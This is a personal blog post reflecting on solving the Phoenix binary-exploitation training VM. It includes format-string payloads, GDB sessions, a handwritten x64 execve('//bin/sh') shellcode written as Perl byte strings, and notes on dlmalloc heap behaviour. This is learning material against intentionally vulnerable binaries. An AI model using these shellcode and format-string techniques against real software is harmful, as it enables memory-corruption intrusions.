Some lessons learned doing Phoenix@Exploit.Education
Some notes about exercises from phoenix@exploit.education vm
Introduction
Last days I was practicing fundamentals topics on binary exploitation and using Phoenix from Exploit.Education for it. Sometimes I like to read other people writeups after passing a level to compare with my solution with the expectation to learn new tips.
While doing so (both the exercises and writeups reading) I came across some topics which I found interesting. Most of them I share privately to friends and some others I post on twitter, like this one and another (and mastodon too haha first, second).
This blogpost is an attempt to share them to you. It is not a writeup on how do phoenix exercises (there’s a lot of that out there, just turn the next internet cornet and you’ll find a better writeup than I could write) but a “meta” post. That said, follow along if that make sense for you. Any feedback on it I’m open, just share it, thanks :)
Table of Contents
Motivation
I know Phoenix@Exploit.Education quite a while and liked its idea but never
focused on doing it waiting for the right time (perfectionism sucks).
Someday I read a passage (can’t remember where, sorry):
The best time to [do something] was five years ago. Second best time is now.
I think it works for study and userland binary exploitation too, so …
How I did Phoenix
With my previous background I already knew some topics like buffer overflows, format strings and heap overflow. Unfortunately this knowledge was most on theory. As I didn’t practice those topics as I want I didn’t feel like I really understood them.
Is it practice that I need? So it will be practice that I will do.
This way my goal was to exploit all exercises on both x86 and x64 architecture, doing every steps needed (like write shellcodes by hand, not copy them) by really understanding every part of the process.
All this happened very well, I discuss more on Conclusion section.
Interesting points
I’ll start by the ones I posted to give them more context.
Format string positional parameters x MUSL LIBC
I post the following on twitter and fosstodon:
Always remember to take into account how the binary was built. I was trying to exploit a simple format string bug using positional parameters but this was not working, until @KampetL remember me this. GLIBC doesn´t care about this rule, while MUSL does.
When we are exploiting format string bugs we need to access values on the stack. Those values can be a data we control, just like the format string buffer itself, or any other interesting data.
One can do that simply by inserting a bunch of parameters on the string. Take this example
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char ** argv) {
if (argc != 2) exit(EXIT_FAILURE);
printf(argv[1]);
}
$ gcc format.c -o format_glibc
$ ./format_glibc `perl -e "print('%x.'x20)"`
69537828.69537840.c38f9dd8.0.4cb1f40.69537828.69537828.695377a0.4ab0c88.69537750.69537828.c38f6040.c38f7149.69537828.5d4642b.2.0.4ce1000.c38f9dd8.4b4642b.
Another possibility - and I like more due to its practicality - is using positional parameters. We can specify on the format string ordinally which parameter the format refers to. The following example it refers to the 20th positional parameter:
$ ./format_glibc '%20$x'
ef3f71cd
I was trying to exploit the Phoenix’s format string exercises using this trick but it wasn’t working. After being able to explore even without this technique I start some research and asking some people. This research lasted until my friend @KampetL noted.
$ man 3 printf
There may be no gaps in the numbers of arguments specified using '$'; for
example, if arguments 1 and 3 are specified, argument 2 must also be specified
somewhere in the format string.
It is a pattern rule, so who care about it? Not everyone, of course. GLIBC, for
instance, doesn’t care, while MUSL LIBC really cares about it. That’s why I
compiled the example before as format_glibc
. Let’s test compiling it using
MUSL LIBC:
$ musl-gcc format.c -o format_musl
$ ./format_musl `perl -e "print('%x.'x20)"`
5df46aa8.5df46ac0.0.5df46ac0.5df46940.5df46aa8.21f6a497.5df46aa8.21f1db4d.0.21fa56c0.0.21fa5b68.5df48fea.e88f5066.2.5df48aba.5df48ac8.0.5df48b05.
$ ./format_musl '%20$x'
$
$ ./format_musl '%2$x.%1$x'
897e2c80.897e2c68
Note it works and print all the info when I’m not using positional parameters, but when I try to access the 20th without specifying the previous it does not works.
\n
is not always badchar
This is what I post on twitter and fosstodon about this issue:
Last days I was doing phoenix from http://exploit.education. After exploiting them I like to read writeups to learn new tips. To my surprise people assumed some are unexploitable due to \n on address they need to write to. Here is a tip to pass:
It first happens on format-two. Here is the buggy code:
[...]
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
[...]
Look, there is a strncpy()
copying data from argv[1]
to buf
. buf
later
is passed to printf()
on bounce()
. That is the bug. Pretty clear and simple.
Exploit it on x86 architecture is very straightforward. That’s not the case for
x64.
We need to overwrite changeme
variable. On the x64 binary it is located on
0x600af0
address:
user@phoenix-amd64:~$ objdump -t /opt/phoenix/amd64/format-two | grep changeme
0000000000600af0 g O .bss 0000000000000004 changeme
One trying to exploit this challenge can notice that passing those bytes is not simple as the ones for x86 binary. I faced it too. But as I said on How I did Phoenix subsection, I want to really understand what is going on.
Once the address to write is 0x600af0
, note the 0x0a
byte, it is a \n
character. I faced a problem because the way I was sending these bytes the
program didn’t receive all of them, only the 0xf0
(because endianness we need
to send the bytes on inverted order, first 0xf0
, then 0x0a
, finally 0x60
).
I also thought it was a badchar, but I need to confirm it before throwing in the towel.
In order to confirm that I perform a test: pass anything I want them change it
on GDB before it is strncpy()
ed, so if it bug there, I confirm it is a
strncpy()
badchar them I can try to think how to bypass it.
Let’s test…
First I set a breakpoint before call strncpy()
, this way I can investigate and
change the values before it, then I run the program:
user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/format-two
Reading symbols from /opt/phoenix/amd64/format-two...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
...
0x00000000004006e6 <+89>: mov $0x100,%edx
0x00000000004006eb <+94>: mov %rcx,%rsi
0x00000000004006ee <+97>: mov %rax,%rdi
0x00000000004006f1 <+100>: callq 0x4004c0 <strncpy@plt>
...
(gdb) b *main+100
Breakpoint 1 at 0x4006f1
(gdb) r `perl -e 'print("%x"x16 . "-%500.n."x1 . "\xff\x08\x60")'`
...
Breakpoint 1, 0x00000000004006f1 in main ()
Now I reach the breakpoint. Looking into memory I can see the buffer with data I
sent. This is the argv[1]
. Note I sent the address 0x6008ff
just for test,
note how it is on the end:
(gdb) i r $rdi $rsi $rdx
rdi 0x7fffffffe560 140737488348512
rsi 0x7fffffffe8c2 140737488349378
rdx 0x100 256
(gdb) x/s 0x7fffffffe8c2
0x7fffffffe8c2: "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x-%500.n.\377\b`"
(gdb) x/8gx 0x7fffffffe8c2
0x7fffffffe8c2: 0x7825782578257825 0x7825782578257825
0x7fffffffe8d2: 0x7825782578257825 0x7825782578257825
0x7fffffffe8e2: 0x2e6e2e303035252d 0x435f534c006008ff
0x7fffffffe8f2: 0x73723d53524f4c4f 0x31303d69643a303d
(gdb) x/gx 0x7fffffffe8c2+40
0x7fffffffe8ea: 0x435f534c006008ff
Then I change its value, putting a \n
(0x0a
) on its place:
(gdb) set *(0x7fffffffe8c2+40) = 0x435f534c00600af0
(gdb) x/gx 0x7fffffffe8c2+40
0x7fffffffe8ea: 0x435f534c00600af0
Now executing the rest of the code or it will not works so I can confirm \n
is
a badchar or not:
(gdb) c
Continuing.
050ffffe58bffffe51fffffe560ffffe560ffffe660400705ffffe6b8400368782578257825782578257825782578253035252d-.
`Well done, the 'changeme' variable has been changed correctly!
Bang! It works! What that means? strncpy()
works with \n
! :)
Okay, but what I can do now?
Well, strncpy()
accepts \n
, so the problem is before that. Maybe poor
strncpy()
isn’t even seeing those \n
because BASH is not sending it :/
Then I write a simple code to test this hypothesis and starting test things out:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char ** argv) {
printf("Total args: %d\n", argc);
if (argc == 1)
exit(EXIT_SUCCESS);
for (int i = 0; i < strlen(argv[1]); i++)
printf("0x%hhx ", argv[1][i]);
printf("\n");
return 0;
}
I did a bunch of test. The most interesting to concludes was these:
$ var=`perl -e 'print("A\nB")'`
$ ./breakline $var
Total args: 3
0x41
$ ./breakline '$var'
Total args: 2
0x24 0x76 0x61 0x72
$ ./breakline "$var"
Total args: 2
0x41 0xa 0x42
Note: $var
has \n
on it, but depending on how I pass it to test program it
is passed as one or two parameters. Using double quotes we pass it as a whole.
That’s the trick.
Okay, sometimes
\n
really is a badchar but that depends on context. For example if the code is usingscanf()
,gets()
or others functions alike. But that is not the case withstrncpy()
.
Avoid error prone actions
This one was funny and stressful at the same time.
As I said before, even shellcodes I need to exploit the exercises I write by myself. That’s ok, trouble is coming.
I wrote the shellcode, compiled and run it. Everything works just fine. Great. It’s just a matter of putting it in attack payload, right? Well, it is right if I do it right.
When I put the shellcode on payload to exploit the program it did not executes
properly. (wtf?)
My attack was working changing the execution to my shellcode, that was ok, but my shellcode was different. The following is a piece of my shellcode:
# execve("//bin/sh", NULL, NULL)
print("\x48\x31\xc0"); # xor %rax,%rax
print("\x50"); # push %rax
print("\x48\xbf\x2f\x2f\x62\x69\x6e"); # movabs $0x68732f6e69622f2f,%rdi
print("\x2f\x73\x2f\x68");
print("\x57"); # push %rdi
print("\x54"); # push %rsp
print("\x5f"); # pop %rdi
print("\x48\x31\xf6"); # xor %rsi,%rsi
print("\x48\x31\xd2"); # xor %rdx,%rdx
print("\xb0\x3b"); # mov $0x3b,%al
print("\x0f\x05"); # syscall
Now how it was as instruction seem by GDB:
(gdb) ...
0x7fffffffed82: xor %rax,%rax
0x7fffffffed85: push %rax
0x7fffffffed86: movabs $0x2f732f6e69622f2f,%rdi
0x7fffffffed90: pushq $0x485f5457
0x7fffffffed95: xor %esi,%esi
0x7fffffffed97: xor %rdx,%rdx
0x7fffffffed9a: mov $0x3b,%al
0x7fffffffed9c: syscall
It isn’t the instruction I was expecting. O.o
After a while, drunk coffees, glances at the sky, I figure out the problem. There is one extra byte I put when writing the Perl to print the opcodes. (facepalm). I will leave the exact extra byte for you to find as an exercise to get angry. At least you have this tip now.
We can’t push 64-bit onto stack, right? Hmmm…
We can’t push 64 bits onto stack on x64 architecture, that’s clearly known. But when writing one shellcode my mind took me to test this:
push $0x0000000000000000
push $0xffffffffffffffff
push $0xaaaaffffffffffff
The first two instructions compiles and works just fine, the last one does not. Well, the first and the last is pretty obvious:
- First compiles because it is just a
push $0
, so it is not a 64 bits value - Last one does not compiles because it is 64 bits, it is prohibited from ISA
But what about the second?
.globl _start
.text
_start:
push $0xffffffffffffffff
$ as push.asm -o push.o
$ ld push.o -o push
$ objdump -d push
...
0000000000401000 <_start>:
401000: 6a ff push $0xffffffffffffffff
As you can see by the opcode it is a 0x6a
, a simple push
. Looking at it
using shell-storm
disassembly
we can notice it as:
0x0000000000000000: 6A FF push -1
That’s why it works. Cool, ham?
Get GDB and the SHELL environment variables balanced
Depending on the attack performing stack layout isn’t relevant, but there are times it is important and may or may not mean successful exploitation.
Environment variables changes the stack layout a bit. When we use GDB to help understand program behavior and to get some information to the attack, like stack addresses, it may be different from when we will really attack the program outside GDB, only from shell.
A tip I’m used to using is set the GDB’s exec-wrapper as env -i
and run the
program from shell using env -i
too.
$ env --help
...
-i, --ignore-environment start with an empty environment
...
But there are times the attack is exactly using environment vars. On shell one
can do env -i ENV=...
to run a program setting only ENV
as environment
variable, but on GDB I did not managed that to work.
Another approach I used was calling GDB using env -i
and setting the
environment there, like:
$ env -i ENV=... /path/to/gdb -q program
That’s works fine. Depending on scenario it will differ a little between GDB and shell. You can see the environment variables set on GDB and set on SHELL too:
$ env -i /usr/bin/gdb -q
(gdb) show environment
LINES=83
COLUMNS=182
This way you will have a balanced environment.
Pay attention to code, all the interesting part
This one is as simple as hard. Let me explain.
Like I said I did these exercises without studying any material to practice a lot. Those heap exercises was the first time I manage to exploit a userland memory allocator, so I didn’t know how dlmalloc works and so on.
As I want to practice, what more interesting to practice than code auditing? :P Off course I knew there is a write primitive on dlmalloc’s free algorithm, but I never really saw this happening neither exploited one. This way I download the lib and started reading its code.
It is a delightful reading, I advise those interesting to do the same. Very organized and documented over code comments.
I understood the free algorithm and its collateral effect when freeing a chunk, linking chunks each other. Before I start the exploitation I want to see this in action. So I take GDB and inspect the memory.
For my surprise I wasn’t able to see the algorithm happens, linking the chunks and so on. I back to code and inspect memory sometimes. Then I start to debug the code to figure out what was happening.
Sooner or later I ended up understanding that it was fastbins, so it wasn’t executing the piece of code that I identified as vulnerable. Understanding this was a matter of do a little payload adjust to saw the vulnerable code being executed.
Final-Two isn’t exploitable
I liked a lot the heap-three exercise. Final-zero and final-one was nice too, but I was really excited to attack final-two once it is a remove heap exploitation.
So I start reading its code. I understood what it was doing, then I can craft some payloads to use the program and confirm my understanding. After having a good understanding I did some proof of concept that I can corrupt the chunks. Nice, good progress there.
Take a look at the code:
[...]
void get_requests(int in_fd, int out_fd) {
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while (1) {
if (dll >= 255) break;
buf = calloc(REQSZ, 1);
[...]
dll++;
}
for (i = 0; i < dll; i++) {
write(out_fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
[...]
But there was something still strange for me. I wasn’t able to see the free
happening. Well, there is free()
calls, of course, but destroylist
isn’t set
anywhere. O.o
I check through GDB on those free()
calls and I was right, it would be always
free(0)
, that way there is no room to exploit dlmalloc’s free problem.
I invest some time looking for other clear vulnerabilities but can’t see any until now. I asked some friends like 0xTen and zi their opinions on it, they agreed with me that the expected solution, similar to protostar, does not exists on Phoenix.
There is another blogpost about it more descriptive, so take a look there if it interest you enough.
I thought about compile the program myself patching it to be vulnerable, but I don’t know exactly how Andrew (exploit.education’s author) build it using MUSL and dlmalloc version 2.7.2. Figure it out would need time I don’t want to spend on it now.
Also as there is protostar (another exploit.education virtual machine, phoenix’s precursor) I thought about exploit it there. I downloaded it but the networking didn’t works out of the box (both on Qemu and VMware). This way, again, figure it out would need time that I don’t want to spend on it now.
Open question
Besides final-three that I would like to do, there is still another question I had but can’t answer it.
When doing final-zero I write my payload to do execve(/tmp/sh)
, /tmp/sh
being a shellscript I write that just runs date
and saves its output on
/tmp/flag
. It was just a proof that I got my shellcode executed.
It worked just fine when exploiting the program locally, but when attacking the
network version it does not works and I can’t figure it out why for now. When I
run it over network version the execve()
got ENOENT
:
user@phoenix-amd64:~$ sudo strace -e t=execve -p `pidof final-zero`
strace: Process 532 attached
strace: [ Process PID=532 runs in 32 bit mode. ]
execve("//tmp/sh", ["//tmp/sh", "-s"], NULL) = -1 ENOENT (No such file or directory)
--- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---
+++ killed by SIGTRAP +++
A note about it is that /tmp/sh
exists and has execution permissions set. I
can call /tmp/sh
from bash and it works fine, as well exploiting the program
locally (not the networking version):
user@phoenix-amd64:~$ cat /tmp/sh
#!/bin/bash
date > /tmp/flag
user@phoenix-amd64:~$ ls -l /tmp/sh
-rwxr-xr-x 1 user user 30 May 20 17:28 /tmp/sh
Strangely enough changing from execute /tmp/sh
to /bin/sh
it works and I
receive my shell.
If you have any clue about it, please, send it to me :)
Conclusion
What a ride, uhm?! :P
I liked a lot doing these exercises. I learn a lot from it. I think I liked even more the way I did it: from scratch. I mean, writing the shellcodes used, reading entire codes (like the dlmalloc one) and try to really understanding what is happening.
Remember this quote from before?
As I didn’t practice those topics as I want I didn’t feel like I really understood them.
Well, this had changed :) Of course it is yet basic userland binary exploitation concepts, but it had improved a lot my analysis and understanding.
Thanks
I thank my friends a lot for listen me on this, help (even indirectly, like just listening as rubber duck debugging).
I also bothered some friends to proofread this post, I also thank you immensely. :)
Also thanks to you reading until here. If you want to do any comments, I’ll appreciate it a lot. Contact me wherever your prefer (email, twitter, mastodon …).